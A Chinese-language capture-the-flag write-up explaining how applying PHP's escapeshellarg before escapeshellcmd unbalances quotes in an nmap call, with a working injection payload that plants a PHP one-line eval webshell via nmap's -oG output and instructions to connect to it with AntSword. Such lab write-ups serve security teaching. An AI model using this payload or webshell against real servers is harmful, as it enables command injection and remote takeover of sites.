
可以看出,当我们传?host=xxx时,后端把它拼进系统命令 nmap -T5 -sT -Pn --host-timeout 2 -F xxx 用 system() 执行,所以作者套了两个过滤函数,但用错了顺序。
两个重要的前置函数:
escapeshellarg($s):用一对单引号 把输入整个包成 "一个参数",并转义内部单引号。shell 里单引号中的内容全是字面量,正常情况下注入不进去。escapeshellcmd($s):在; | & > < $ ( )等 shell 元字符前加反斜杠\,并给它认为 "落单没配对" 的引号补\。
单独用 escapeshellarg 是安全的。但代码是 先 arg、再 cmd:
escapeshellarg刚用单引号把你输入锁好;escapeshellcmd又去 "好心" 处理引号,给它眼里落单的引号加\------这一步把第 1 步精心构造的引号配对打乱了,等于把锁撬松。
我们可以利用这点,在输入首尾各放一个单引号 。经过两道函数后引号被重新配平,中间用空格隔开的内容(PHP 代码、-oG hack.php)就从单引号牢笼里 "漏" 了出来,被 shell 当成 nmap 的后续 token。
payload如下:
php
' <?php @eval($_POST["hack"]);?> -oG hack.php '
- <?php @eval($_POST"hack");?>:一句话木马,密码 hack,被 nmap 写进文件
- -oG hack.php:nmap 参数,把结果(含命令行)写成 hack.php

再看代码,
php
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); // ① 算出一个沙箱目录名(32位md5)
@mkdir($sandbox); // ② 在网站根目录里创建这个文件夹
chdir($sandbox); // ③ 把进程的"当前工作目录"切换进这个文件夹
system("nmap ... -F ".$host); // nmap 继承这个工作目录
代码先用 chdir(沙箱) 把工作目录切进了那个 md5 文件夹,所以我们的一句话木马不在网站根目录、而在 <md5>/hack.php,URL 要带上 md5。
用蚁剑进行连接。

